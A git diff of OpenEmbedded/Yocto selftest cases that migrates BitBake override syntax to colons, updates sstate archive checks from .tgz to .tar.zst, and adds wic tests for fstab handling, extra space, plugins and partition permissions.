- features += 'DISTRO_FEATURES_append = " systemd"\n'
+ features += 'DISTRO_FEATURES:append = " systemd"\n'
features += 'VIRTUAL-RUNTIME_init_manager = "systemd"\n'
features += 'DISTRO_FEATURES_BACKFILL_CONSIDERED = "sysvinit"\n'
features += 'VIRTUAL-RUNTIME_initscripts = ""\n'
@@ -276,7 +276,7 @@ class Postinst(OESelftestTestCase):
# run_serial()'s status code is useless.'
for filename in ("rootfs", "delayed-a", "delayed-b"):
status, output = qemu.run_serial("test -f %s && echo found" % os.path.join(targettestdir, filename))
- self.assertEqual(output, "found", "%s was not present on boot" % filename)
+ self.assertIn("found", output, "%s was not present on boot" % filename)
@@ -377,14 +377,14 @@ TEST_SERVER_IP = "192.168.7.1"
TEST_TARGET_IP = "192.168.7.2"
EXTRA_IMAGE_FEATURES += "tools-profile dbg-pkgs"
-IMAGE_FEATURES_append = " ssh-server-dropbear"
+IMAGE_FEATURES:append = " ssh-server-dropbear"
# enables kernel debug symbols
-KERNEL_EXTRA_FEATURES_append = " features/debug/debug-kernel.scc"
-KERNEL_EXTRA_FEATURES_append = " features/systemtap/systemtap.scc"
+KERNEL_EXTRA_FEATURES:append = " features/debug/debug-kernel.scc"
+KERNEL_EXTRA_FEATURES:append = " features/systemtap/systemtap.scc"
# add systemtap run-time into target image if it is not there yet
-IMAGE_INSTALL_append = " systemtap-runtime"
+IMAGE_INSTALL:append = " systemtap-runtime"
"""
def test_crosstap_helloworld(self):
diff --git a/meta/lib/oeqa/selftest/cases/signing.py b/meta/lib/oeqa/selftest/cases/signing.py
index a28c7eb19a..6f3d4aeae9 100644
--- a/meta/lib/oeqa/selftest/cases/signing.py
+++ b/meta/lib/oeqa/selftest/cases/signing.py
@@ -145,7 +145,7 @@ class Signing(OESelftestTestCase):
feature += 'GPG_PATH = "%s"\n' % self.gpg_dir
feature += 'SSTATE_DIR = "%s"\n' % sstatedir
# Any mirror might have partial sstate without .sig files, triggering failures
- feature += 'SSTATE_MIRRORS_forcevariable = ""\n'
+ feature += 'SSTATE_MIRRORS:forcevariable = ""\n'
self.write_config(feature)
@@ -159,13 +159,13 @@ class Signing(OESelftestTestCase):
bitbake('-c clean %s' % test_recipe)
bitbake('-c populate_lic %s' % test_recipe)
- recipe_sig = glob.glob(sstatedir + '/*/*/*:ed:*_populate_lic.tgz.sig')
- recipe_tgz = glob.glob(sstatedir + '/*/*/*:ed:*_populate_lic.tgz')
+ recipe_sig = glob.glob(sstatedir + '/*/*/*:ed:*_populate_lic.tar.zst.sig')
+ recipe_archive = glob.glob(sstatedir + '/*/*/*:ed:*_populate_lic.tar.zst')
self.assertEqual(len(recipe_sig), 1, 'Failed to find .sig file.')
- self.assertEqual(len(recipe_tgz), 1, 'Failed to find .tgz file.')
+ self.assertEqual(len(recipe_archive), 1, 'Failed to find .tar.zst file.')
- ret = runCmd('gpg --homedir %s --verify %s %s' % (self.gpg_dir, recipe_sig[0], recipe_tgz[0]))
+ ret = runCmd('gpg --homedir %s --verify %s %s' % (self.gpg_dir, recipe_sig[0], recipe_archive[0]))
# gpg: Signature made Thu 22 Oct 2015 01:45:09 PM EEST using RSA key ID 61EEFB30
# gpg: Good signature from "testuser (nocomment) <testuser@email.com>"
self.assertIn('gpg: Good signature from', ret.output, 'Package signed incorrectly.')
@@ -206,7 +206,7 @@ class LockedSignatures(OESelftestTestCase):
# Use uuid so hash equivalance server isn't triggered
recipe_append_file = test_recipe + '_' + get_bb_var('PV', test_recipe) + '.bbappend'
recipe_append_path = os.path.join(templayerdir, 'recipes-test', test_recipe, recipe_append_file)
- feature = 'SUMMARY_${PN} = "test locked signature%s"\n' % uuid.uuid4()
+ feature = 'SUMMARY:${PN} = "test locked signature%s"\n' % uuid.uuid4()
os.mkdir(os.path.join(templayerdir, 'recipes-test'))
os.mkdir(os.path.join(templayerdir, 'recipes-test', test_recipe))
diff --git a/meta/lib/oeqa/selftest/cases/sstatetests.py b/meta/lib/oeqa/selftest/cases/sstatetests.py
index c46e8ba489..2be96f1781 100644
--- a/meta/lib/oeqa/selftest/cases/sstatetests.py
+++ b/meta/lib/oeqa/selftest/cases/sstatetests.py
@@ -11,6 +11,7 @@ import tempfile
from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import runCmd, bitbake, get_bb_var, get_test_layer, create_temp_layer
from oeqa.selftest.cases.sstate import SStateBase
+import oe
import bb.siggen
@@ -39,7 +40,7 @@ class SStateTests(SStateBase):
recipefile = os.path.join(tempdir, "recipes-test", "dbus-wait-test", 'dbus-wait-test_git.bb')
os.makedirs(os.path.dirname(recipefile))
- srcuri = 'git://' + srcdir + ';protocol=file'
+ srcuri = 'git://' + srcdir + ';protocol=file;branch=master'
result = runCmd(['recipetool', 'create', '-o', recipefile, srcuri])
self.assertTrue(os.path.isfile(recipefile), 'recipetool did not create recipe file; output:\n%s' % result.output)
@@ -68,7 +69,7 @@ class SStateTests(SStateBase):
results = self.search_sstate('|'.join(map(str, targets)), distro_specific, distro_nonspecific)
if distro_nonspecific:
for r in results:
- if r.endswith(("_populate_lic.tgz", "_populate_lic.tgz.siginfo", "_fetch.tgz.siginfo", "_unpack.tgz.siginfo", "_patch.tgz.siginfo")):
+ if r.endswith(("_populate_lic.tar.zst", "_populate_lic.tar.zst.siginfo", "_fetch.tar.zst.siginfo", "_unpack.tar.zst.siginfo", "_patch.tar.zst.siginfo")):
continue
file_tracker.append(r)
else:
@@ -98,15 +99,15 @@ class SStateTests(SStateBase):
bitbake(['-ccleansstate'] + targets)
bitbake(targets)
- tgz_created = self.search_sstate('|'.join(map(str, [s + r'.*?\.tgz$' for s in targets])), distro_specific, distro_nonspecific)
- self.assertTrue(tgz_created, msg="Could not find sstate .tgz files for: %s (%s)" % (', '.join(map(str, targets)), str(tgz_created)))
+ archives_created = self.search_sstate('|'.join(map(str, [s + r'.*?\.tar.zst$' for s in targets])), distro_specific, distro_nonspecific)
+ self.assertTrue(archives_created, msg="Could not find sstate .tar.zst files for: %s (%s)" % (', '.join(map(str, targets)), str(archives_created)))
siginfo_created = self.search_sstate('|'.join(map(str, [s + r'.*?\.siginfo$' for s in targets])), distro_specific, distro_nonspecific)
self.assertTrue(siginfo_created, msg="Could not find sstate .siginfo files for: %s (%s)" % (', '.join(map(str, targets)), str(siginfo_created)))
bitbake(['-ccleansstate'] + targets)
- tgz_removed = self.search_sstate('|'.join(map(str, [s + r'.*?\.tgz$' for s in targets])), distro_specific, distro_nonspecific)
- self.assertTrue(not tgz_removed, msg="do_cleansstate didn't remove .tgz sstate files for: %s (%s)" % (', '.join(map(str, targets)), str(tgz_removed)))
+ archives_removed = self.search_sstate('|'.join(map(str, [s + r'.*?\.tar.zst$' for s in targets])), distro_specific, distro_nonspecific)
+ self.assertTrue(not archives_removed, msg="do_cleansstate didn't remove .tar.zst sstate files for: %s (%s)" % (', '.join(map(str, targets)), str(archives_removed)))
def test_cleansstate_task_distro_specific_nonspecific(self):
targets = ['binutils-cross-'+ self.tune_arch, 'binutils-native']
@@ -129,15 +130,15 @@ class SStateTests(SStateBase):
bitbake(['-ccleansstate'] + targets)
bitbake(targets)
- results = self.search_sstate('|'.join(map(str, [s + r'.*?\.tgz$' for s in targets])), distro_specific=False, distro_nonspecific=True)
+ results = self.search_sstate('|'.join(map(str, [s + r'.*?\.tar.zst$' for s in targets])), distro_specific=False, distro_nonspecific=True)
filtered_results = []
for r in results:
- if r.endswith(("_populate_lic.tgz", "_populate_lic.tgz.siginfo")):
+ if r.endswith(("_populate_lic.tar.zst", "_populate_lic.tar.zst.siginfo")):
continue
filtered_results.append(r)
self.assertTrue(filtered_results == [], msg="Found distro non-specific sstate for: %s (%s)" % (', '.join(map(str, targets)), str(filtered_results)))
- file_tracker_1 = self.search_sstate('|'.join(map(str, [s + r'.*?\.tgz$' for s in targets])), distro_specific=True, distro_nonspecific=False)
- self.assertTrue(len(file_tracker_1) >= len(targets), msg = "Not all sstate files ware created for: %s" % ', '.join(map(str, targets)))
+ file_tracker_1 = self.search_sstate('|'.join(map(str, [s + r'.*?\.tar.zst$' for s in targets])), distro_specific=True, distro_nonspecific=False)
+ self.assertTrue(len(file_tracker_1) >= len(targets), msg = "Not all sstate files were created for: %s" % ', '.join(map(str, targets)))
self.track_for_cleanup(self.distro_specific_sstate + "_old")
shutil.copytree(self.distro_specific_sstate, self.distro_specific_sstate + "_old")
@@ -145,14 +146,14 @@ class SStateTests(SStateBase):
bitbake(['-cclean'] + targets)
bitbake(targets)
- file_tracker_2 = self.search_sstate('|'.join(map(str, [s + r'.*?\.tgz$' for s in targets])), distro_specific=True, distro_nonspecific=False)
- self.assertTrue(len(file_tracker_2) >= len(targets), msg = "Not all sstate files ware created for: %s" % ', '.join(map(str, targets)))
+ file_tracker_2 = self.search_sstate('|'.join(map(str, [s + r'.*?\.tar.zst$' for s in targets])), distro_specific=True, distro_nonspecific=False)
+ self.assertTrue(len(file_tracker_2) >= len(targets), msg = "Not all sstate files were created for: %s" % ', '.join(map(str, targets)))
not_recreated = [x for x in file_tracker_1 if x not in file_tracker_2]
- self.assertTrue(not_recreated == [], msg="The following sstate files ware not recreated: %s" % ', '.join(map(str, not_recreated)))
+ self.assertTrue(not_recreated == [], msg="The following sstate files were not recreated: %s" % ', '.join(map(str, not_recreated)))
created_once = [x for x in file_tracker_2 if x not in file_tracker_1]
- self.assertTrue(created_once == [], msg="The following sstate files ware created only in the second run: %s" % ', '.join(map(str, created_once)))
+ self.assertTrue(created_once == [], msg="The following sstate files were created only in the second run: %s" % ', '.join(map(str, created_once)))
def test_rebuild_distro_specific_sstate_cross_native_targets(self):
self.run_test_rebuild_distro_specific_sstate(['binutils-cross-' + self.tune_arch, 'binutils-native'], temp_sstate_location=True)
@@ -174,7 +175,7 @@ class SStateTests(SStateBase):
# If buildhistory is enabled, we need to disable version-going-backwards
# QA checks for this test. It may report errors otherwise.
- self.append_config('ERROR_QA_remove = "version-going-backwards"')
+ self.append_config('ERROR_QA:remove = "version-going-backwards"')
# For not this only checks if random sstate tasks are handled correctly as a group.
# In the future we should add control over what tasks we check for.
@@ -188,23 +189,23 @@ class SStateTests(SStateBase):
if not sstate_arch in sstate_archs_list:
sstate_archs_list.append(sstate_arch)
if target_config[idx] == target_config[-1]:
- target_sstate_before_build = self.search_sstate(target + r'.*?\.tgz$')
+ target_sstate_before_build = self.search_sstate(target + r'.*?\.tar.zst$')
bitbake("-cclean %s" % target)
result = bitbake(target, ignore_status=True)
if target_config[idx] == target_config[-1]:
- target_sstate_after_build = self.search_sstate(target + r'.*?\.tgz$')
+ target_sstate_after_build = self.search_sstate(target + r'.*?\.tar.zst$')
expected_remaining_sstate += [x for x in target_sstate_after_build if x not in target_sstate_before_build if not any(pattern in x for pattern in ignore_patterns)]
self.remove_config(global_config[idx])
self.remove_recipeinc(target, target_config[idx])
self.assertEqual(result.status, 0, msg = "build of %s failed with %s" % (target, result.output))
runCmd("sstate-cache-management.sh -y --cache-dir=%s --remove-duplicated --extra-archs=%s" % (self.sstate_path, ','.join(map(str, sstate_archs_list))))
- actual_remaining_sstate = [x for x in self.search_sstate(target + r'.*?\.tgz$') if not any(pattern in x for pattern in ignore_patterns)]
+ actual_remaining_sstate = [x for x in self.search_sstate(target + r'.*?\.tar.zst$') if not any(pattern in x for pattern in ignore_patterns)]
actual_not_expected = [x for x in actual_remaining_sstate if x not in expected_remaining_sstate]
- self.assertFalse(actual_not_expected, msg="Files should have been removed but ware not: %s" % ', '.join(map(str, actual_not_expected)))
+ self.assertFalse(actual_not_expected, msg="Files should have been removed but were not: %s" % ', '.join(map(str, actual_not_expected)))
expected_not_actual = [x for x in expected_remaining_sstate if x not in actual_remaining_sstate]
- self.assertFalse(expected_not_actual, msg="Extra files ware removed: %s" ', '.join(map(str, expected_not_actual)))
+ self.assertFalse(expected_not_actual, msg="Extra files were removed: %s" ', '.join(map(str, expected_not_actual)))
def test_sstate_cache_management_script_using_pr_1(self):
global_config = []
@@ -261,7 +262,7 @@ PACKAGE_CLASSES = "package_rpm package_ipk package_deb"
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
- bitbake("core-image-sato -S none")
+ bitbake("core-image-weston -S none")
self.write_config("""
MACHINE = "qemux86"
TMPDIR = "${TOPDIR}/tmp-sstatesamehash2"
@@ -273,12 +274,12 @@ PACKAGE_CLASSES = "package_rpm package_ipk package_deb"
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
- bitbake("core-image-sato -S none")
+ bitbake("core-image-weston -S none")
def get_files(d):
f = []
for root, dirs, files in os.walk(d):
- if "core-image-sato" in root:
+ if "core-image-weston" in root:
# SDKMACHINE changing will change
# do_rootfs/do_testimage/do_build stamps of images which
# is safe to ignore.
@@ -306,7 +307,7 @@ NATIVELSBSTRING = \"DistroA\"
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
- bitbake("core-image-sato -S none")
+ bitbake("core-image-weston -S none")
self.write_config("""
TMPDIR = \"${TOPDIR}/tmp-sstatesamehash2\"
TCLIBCAPPEND = \"\"
@@ -314,7 +315,7 @@ NATIVELSBSTRING = \"DistroB\"
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
- bitbake("core-image-sato -S none")
+ bitbake("core-image-weston -S none")
def get_files(d):
f = []
@@ -360,7 +361,7 @@ TCLIBCAPPEND = \"\"
MACHINE = \"qemux86-64\"
require conf/multilib.conf
MULTILIBS = \"multilib:lib32\"
-DEFAULTTUNE_virtclass-multilib-lib32 = \"x86\"
+DEFAULTTUNE:virtclass-multilib-lib32 = \"x86\"
BB_SIGNATURE_HANDLER = "OEBasicHash"
"""
configB = """
@@ -414,7 +415,7 @@ TCLIBCAPPEND = \"\"
MACHINE = \"qemux86\"
require conf/multilib.conf
MULTILIBS = "multilib:lib32"
-DEFAULTTUNE_virtclass-multilib-lib32 = "x86"
+DEFAULTTUNE:virtclass-multilib-lib32 = "x86"
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
@@ -425,7 +426,7 @@ TCLIBCAPPEND = \"\"
MACHINE = \"qemux86copy\"
require conf/multilib.conf
MULTILIBS = "multilib:lib32"
-DEFAULTTUNE_virtclass-multilib-lib32 = "x86"
+DEFAULTTUNE:virtclass-multilib-lib32 = "x86"
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
@@ -462,7 +463,7 @@ TCLIBCAPPEND = \"\"
MACHINE = \"qemux86\"
require conf/multilib.conf
MULTILIBS = "multilib:lib32"
-DEFAULTTUNE_virtclass-multilib-lib32 = "x86"
+DEFAULTTUNE:virtclass-multilib-lib32 = "x86"
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
@@ -503,7 +504,7 @@ PARALLEL_MAKE = "-j 1"
DL_DIR = "${TOPDIR}/download1"
TIME = "111111"
DATE = "20161111"
-INHERIT_remove = "buildstats-summary buildhistory uninative"
+INHERIT:remove = "buildstats-summary buildhistory uninative"
http_proxy = ""
BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
@@ -519,7 +520,7 @@ DL_DIR = "${TOPDIR}/download2"
TIME = "222222"
DATE = "20161212"
# Always remove uninative as we're changing proxies
-INHERIT_remove = "uninative"
+INHERIT:remove = "uninative"
INHERIT += "buildstats-summary buildhistory"
http_proxy = "http://example.com/"
BB_SIGNATURE_HANDLER = "OEBasicHash"
@@ -573,3 +574,44 @@ BB_SIGNATURE_HANDLER = "OEBasicHash"
compare_sigfiles(rest, files1, files2, compare=False)
self.fail("sstate hashes not identical.")
+
+ def test_sstate_movelayer_samesigs(self):
+ """
+ The sstate checksums of two builds with the same oe-core layer in two
+ different locations should be the same.
+ """
+ core_layer = os.path.join(
+ self.tc.td["COREBASE"], 'meta')
+ copy_layer_1 = self.topdir + "/meta-copy1/meta"
+ copy_layer_2 = self.topdir + "/meta-copy2/meta"
+
+ oe.path.copytree(core_layer, copy_layer_1)
+ self.write_config("""
+TMPDIR = "${TOPDIR}/tmp-sstatesamehash"
+""")
+ bblayers_conf = 'BBLAYERS += "%s"\nBBLAYERS:remove = "%s"' % (copy_layer_1, core_layer)
+ self.write_bblayers_config(bblayers_conf)
+ self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
+ bitbake("bash -S none")
+
+ oe.path.copytree(core_layer, copy_layer_2)
+ self.write_config("""
+TMPDIR = "${TOPDIR}/tmp-sstatesamehash2"
+""")
+ bblayers_conf = 'BBLAYERS += "%s"\nBBLAYERS:remove = "%s"' % (copy_layer_2, core_layer)
+ self.write_bblayers_config(bblayers_conf)
+ self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
+ bitbake("bash -S none")
+
+ def get_files(d):
+ f = []
+ for root, dirs, files in os.walk(d):
+ for name in files:
+ f.append(os.path.join(root, name))
+ return f
+ files1 = get_files(self.topdir + "/tmp-sstatesamehash/stamps")
+ files2 = get_files(self.topdir + "/tmp-sstatesamehash2/stamps")
+ files2 = [x.replace("tmp-sstatesamehash2", "tmp-sstatesamehash") for x in files2]
+ self.maxDiff = None
+ self.assertCountEqual(files1, files2)
+
diff --git a/meta/lib/oeqa/selftest/cases/sysroot.py b/meta/lib/oeqa/selftest/cases/sysroot.py
index 6e34927c90..79ab45235d 100644
--- a/meta/lib/oeqa/selftest/cases/sysroot.py
+++ b/meta/lib/oeqa/selftest/cases/sysroot.py
@@ -24,14 +24,14 @@ class SysrootTests(OESelftestTestCase):
self.write_config("""
PREFERRED_PROVIDER_virtual/sysroot-test = "sysroot-test-arch1"
MACHINE = "qemux86"
-TESTSTRING_pn-sysroot-test-arch1 = "%s"
-TESTSTRING_pn-sysroot-test-arch2 = "%s"
+TESTSTRING:pn-sysroot-test-arch1 = "%s"
+TESTSTRING:pn-sysroot-test-arch2 = "%s"
""" % (uuid1, uuid2))
bitbake("sysroot-test")
self.write_config("""
PREFERRED_PROVIDER_virtual/sysroot-test = "sysroot-test-arch2"
MACHINE = "qemux86copy"
-TESTSTRING_pn-sysroot-test-arch1 = "%s"
-TESTSTRING_pn-sysroot-test-arch2 = "%s"
+TESTSTRING:pn-sysroot-test-arch1 = "%s"
+TESTSTRING:pn-sysroot-test-arch2 = "%s"
""" % (uuid1, uuid2))
bitbake("sysroot-test")
diff --git a/meta/lib/oeqa/selftest/cases/tinfoil.py b/meta/lib/oeqa/selftest/cases/tinfoil.py
index 206168ed00..8fd48bb054 100644
--- a/meta/lib/oeqa/selftest/cases/tinfoil.py
+++ b/meta/lib/oeqa/selftest/cases/tinfoil.py
@@ -94,22 +94,24 @@ class TinfoilTests(OESelftestTestCase):
pass
pattern = 'conf'
- res = tinfoil.run_command('findFilesMatchingInDir', pattern, 'conf/machine')
+ res = tinfoil.run_command('testCookerCommandEvent', pattern)
self.assertTrue(res)
eventreceived = False
commandcomplete = False
start = time.time()
- # Wait for 10s in total so we'd detect spurious heartbeat events for example
- # The test is IO load sensitive too
- while time.time() - start < 10:
+ # Wait for maximum 60s in total so we'd detect spurious heartbeat events for example
+ while (not (eventreceived == True and commandcomplete == True)
+ and (time.time() - start < 60)):
+ # if we received both events (on let's say a good day), we are done
event = tinfoil.wait_event(1)
if event:
if isinstance(event, bb.command.CommandCompleted):
commandcomplete = True
elif isinstance(event, bb.event.FilesMatchingFound):
self.assertEqual(pattern, event._pattern)
- self.assertIn('qemuarm.conf', event._matches)
+ self.assertIn('A', event._matches)
+ self.assertIn('B', event._matches)
eventreceived = True
elif isinstance(event, logging.LogRecord):
continue
@@ -171,8 +173,8 @@ class TinfoilTests(OESelftestTestCase):
self.assertEqual(value, 'origvalue', 'Variable renamed using config_data.renameVar() does not appear with new name')
# Test overrides
tinfoil.config_data.setVar('TESTVAR', 'original')
- tinfoil.config_data.setVar('TESTVAR_overrideone', 'one')
- tinfoil.config_data.setVar('TESTVAR_overridetwo', 'two')
+ tinfoil.config_data.setVar('TESTVAR:overrideone', 'one')
+ tinfoil.config_data.setVar('TESTVAR:overridetwo', 'two')
tinfoil.config_data.appendVar('OVERRIDES', ':overrideone')
value = tinfoil.config_data.getVar('TESTVAR')
self.assertEqual(value, 'one', 'Variable overrides not functioning correctly')
diff --git a/meta/lib/oeqa/selftest/cases/wic.py b/meta/lib/oeqa/selftest/cases/wic.py
index 714637ec1e..5fc8e65142 100644
--- a/meta/lib/oeqa/selftest/cases/wic.py
+++ b/meta/lib/oeqa/selftest/cases/wic.py
@@ -11,6 +11,7 @@
import os
import sys
import unittest
+import hashlib
from glob import glob
from shutil import rmtree, copy
@@ -189,8 +190,8 @@ class Wic(WicTestCase):
def test_iso_image(self):
"""Test creation of hybrid iso image with legacy and EFI boot"""
config = 'INITRAMFS_IMAGE = "core-image-minimal-initramfs"\n'\
- 'MACHINE_FEATURES_append = " efi"\n'\
- 'DEPENDS_pn-core-image-minimal += "syslinux"\n'
+ 'MACHINE_FEATURES:append = " efi"\n'\
+ 'DEPENDS:pn-core-image-minimal += "syslinux"\n'
self.append_config(config)
bitbake('core-image-minimal core-image-minimal-initramfs')
self.remove_config(config)
@@ -216,7 +217,7 @@ class Wic(WicTestCase):
@only_for_arch(['i586', 'i686', 'x86_64'])
def test_bootloader_config(self):
"""Test creation of directdisk-bootloader-config image"""
- config = 'DEPENDS_pn-core-image-minimal += "syslinux"\n'
+ config = 'DEPENDS:pn-core-image-minimal += "syslinux"\n'
self.append_config(config)
bitbake('core-image-minimal')
self.remove_config(config)
@@ -227,7 +228,7 @@ class Wic(WicTestCase):
@only_for_arch(['i586', 'i686', 'x86_64'])
def test_systemd_bootdisk(self):
"""Test creation of systemd-bootdisk image"""
- config = 'MACHINE_FEATURES_append = " efi"\n'
+ config = 'MACHINE_FEATURES:append = " efi"\n'
self.append_config(config)
bitbake('core-image-minimal')
self.remove_config(config)
@@ -259,7 +260,7 @@ class Wic(WicTestCase):
"""Test default output location"""
for fname in glob("directdisk-*.direct"):
os.remove(fname)
- config = 'DEPENDS_pn-core-image-minimal += "syslinux"\n'
+ config = 'DEPENDS:pn-core-image-minimal += "syslinux"\n'
self.append_config(config)
bitbake('core-image-minimal')
self.remove_config(config)
@@ -318,6 +319,7 @@ class Wic(WicTestCase):
"--image-name=core-image-minimal "
"-D -o %s" % self.resultdir)
self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*.direct")))
+ self.assertEqual(1, len(glob(self.resultdir + "tmp.wic*")))
def test_debug_long(self):
"""Test --debug option"""
@@ -325,6 +327,7 @@ class Wic(WicTestCase):
"--image-name=core-image-minimal "
"--debug -o %s" % self.resultdir)
self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*.direct")))
+ self.assertEqual(1, len(glob(self.resultdir + "tmp.wic*")))
def test_skip_build_check_short(self):
"""Test -s option"""
@@ -588,6 +591,9 @@ part / --source rootfs --fstype=ext4 --include-path %s --include-path core-imag
def test_permissions(self):
"""Test permissions are respected"""
+ # prepare wicenv and rootfs
+ bitbake('core-image-minimal core-image-minimal-mtdutils -c do_rootfs_wicenv')
+
oldpath = os.environ['PATH']
os.environ['PATH'] = get_bb_var("PATH", "wic-tools")
@@ -621,6 +627,19 @@ part /etc --source rootfs --fstype=ext4 --change-directory=etc
res = runCmd("debugfs -R 'ls -p' %s 2>/dev/null" % (part))
self.assertEqual(True, files_own_by_root(res.output))
+ config = 'IMAGE_FSTYPES += "wic"\nWKS_FILE = "%s"\n' % wks_file
+ self.append_config(config)
+ bitbake('core-image-minimal')
+ tmpdir = os.path.join(get_bb_var('WORKDIR', 'core-image-minimal'),'build-wic')
+
+ # check each partition for permission
+ for part in glob(os.path.join(tmpdir, 'temp-*.direct.p*')):
+ res = runCmd("debugfs -R 'ls -p' %s 2>/dev/null" % (part))
+ self.assertTrue(files_own_by_root(res.output)
+ ,msg='Files permission incorrect using wks set "%s"' % test)
+
+ # clean config and result directory for next cases
+ self.remove_config(config)
rmtree(self.resultdir, ignore_errors=True)
finally:
@@ -668,6 +687,74 @@ part /etc --source rootfs --fstype=ext4 --change-directory=etc
% (wks_file, self.resultdir), ignore_status=True).status)
os.remove(wks_file)
+ def test_no_fstab_update(self):
+ """Test --no-fstab-update wks option."""
+
+ oldpath = os.environ['PATH']
+ os.environ['PATH'] = get_bb_var("PATH", "wic-tools")
+
+ # Get stock fstab from base-files recipe
+ self.assertEqual(0, bitbake('base-files -c do_install').status)
+ bf_fstab = os.path.join(get_bb_var('D', 'base-files'), 'etc/fstab')
+ self.assertEqual(True, os.path.exists(bf_fstab))
+ bf_fstab_md5sum = runCmd('md5sum %s 2>/dev/null' % bf_fstab).output.split(" ")[0]
+
+ try:
+ no_fstab_update_path = os.path.join(self.resultdir, 'test-no-fstab-update')
+ os.makedirs(no_fstab_update_path)
+ wks_file = os.path.join(no_fstab_update_path, 'temp.wks')
+ with open(wks_file, 'w') as wks:
+ wks.writelines(['part / --source rootfs --fstype=ext4 --label rootfs\n',
+ 'part /mnt/p2 --source rootfs --rootfs-dir=core-image-minimal ',
+ '--fstype=ext4 --label p2 --no-fstab-update\n'])
+ runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir))
+
+ part_fstab_md5sum = []
+ for i in range(1, 3):
+ part = glob(os.path.join(self.resultdir, 'temp-*.direct.p') + str(i))[0]
+ part_fstab = runCmd("debugfs -R 'cat etc/fstab' %s 2>/dev/null" % (part))
+ part_fstab_md5sum.append(hashlib.md5((part_fstab.output + "\n\n").encode('utf-8')).hexdigest())
+
+ # '/etc/fstab' in partition 2 should contain the same stock fstab file
+ # as the one installed by the base-file recipe.
+ self.assertEqual(bf_fstab_md5sum, part_fstab_md5sum[1])
+
+ # '/etc/fstab' in partition 1 should contain an updated fstab file.
+ self.assertNotEqual(bf_fstab_md5sum, part_fstab_md5sum[0])
+
+ finally:
+ os.environ['PATH'] = oldpath
+
+ def test_no_fstab_update_errors(self):
+ """Test --no-fstab-update wks option error handling."""
+ wks_file = 'temp.wks'
+
+ # Absolute argument.
+ with open(wks_file, 'w') as wks:
+ wks.write("part / --source rootfs --fstype=ext4 --no-fstab-update /etc")
+ self.assertNotEqual(0, runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir), ignore_status=True).status)
+ os.remove(wks_file)
+
+ # Argument pointing to parent directory.
+ with open(wks_file, 'w') as wks:
+ wks.write("part / --source rootfs --fstype=ext4 --no-fstab-update ././..")
+ self.assertNotEqual(0, runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir), ignore_status=True).status)
+ os.remove(wks_file)
+
+ def test_extra_space(self):
+ """Test --extra-space wks option."""
+ extraspace = 1024**3
+ runCmd("wic create wictestdisk "
+ "--image-name core-image-minimal "
+ "--extra-space %i -o %s" % (extraspace ,self.resultdir))
+ wicout = glob(self.resultdir + "wictestdisk-*.direct")
+ self.assertEqual(1, len(wicout))
+ size = os.path.getsize(wicout[0])
+ self.assertTrue(size > extraspace)
+
class Wic2(WicTestCase):
def test_bmap_short(self):
@@ -739,7 +826,7 @@ class Wic2(WicTestCase):
def test_wic_image_type(self):
"""Test building wic images by bitbake"""
config = 'IMAGE_FSTYPES += "wic"\nWKS_FILE = "wic-image-minimal"\n'\
- 'MACHINE_FEATURES_append = " efi"\n'
+ 'MACHINE_FEATURES:append = " efi"\n'
self.append_config(config)
self.assertEqual(0, bitbake('wic-image-minimal').status)
self.remove_config(config)
@@ -759,7 +846,7 @@ class Wic2(WicTestCase):
def test_qemu(self):
"""Test wic-image-minimal under qemu"""
config = 'IMAGE_FSTYPES += "wic"\nWKS_FILE = "wic-image-minimal"\n'\
- 'MACHINE_FEATURES_append = " efi"\n'
+ 'MACHINE_FEATURES:append = " efi"\n'
self.append_config(config)
self.assertEqual(0, bitbake('wic-image-minimal').status)
self.remove_config(config)
@@ -961,14 +1048,18 @@ class Wic2(WicTestCase):
@only_for_arch(['i586', 'i686', 'x86_64'])
def test_rawcopy_plugin_qemu(self):
"""Test rawcopy plugin in qemu"""
- # build ext4 and wic images
- for fstype in ("ext4", "wic"):
- config = 'IMAGE_FSTYPES = "%s"\nWKS_FILE = "test_rawcopy_plugin.wks.in"\n' % fstype
- self.append_config(config)
- self.assertEqual(0, bitbake('core-image-minimal').status)
- self.remove_config(config)
+ # build ext4 and then use it for a wic image
+ config = 'IMAGE_FSTYPES = "ext4"\n'
+ self.append_config(config)
+ self.assertEqual(0, bitbake('core-image-minimal').status)
+ self.remove_config(config)
- with runqemu('core-image-minimal', ssh=False, image_fstype='wic') as qemu:
+ config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_rawcopy_plugin.wks.in"\n'
+ self.append_config(config)
+ self.assertEqual(0, bitbake('core-image-minimal-mtdutils').status)
+ self.remove_config(config)
+
+ with runqemu('core-image-minimal-mtdutils', ssh=False, image_fstype='wic') as qemu:
cmd = "grep sda. /proc/partitions |wc -l"
status, output = qemu.run_serial(cmd)
self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
@@ -990,10 +1081,30 @@ class Wic2(WicTestCase):
out = glob(self.resultdir + "%s-*direct" % wksname)
self.assertEqual(1, len(out))
+ def test_empty_plugin(self):
+ """Test empty plugin"""
+ config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_empty_plugin.wks"\n'
+ self.append_config(config)
+ self.assertEqual(0, bitbake('core-image-minimal').status)
+ self.remove_config(config)
+
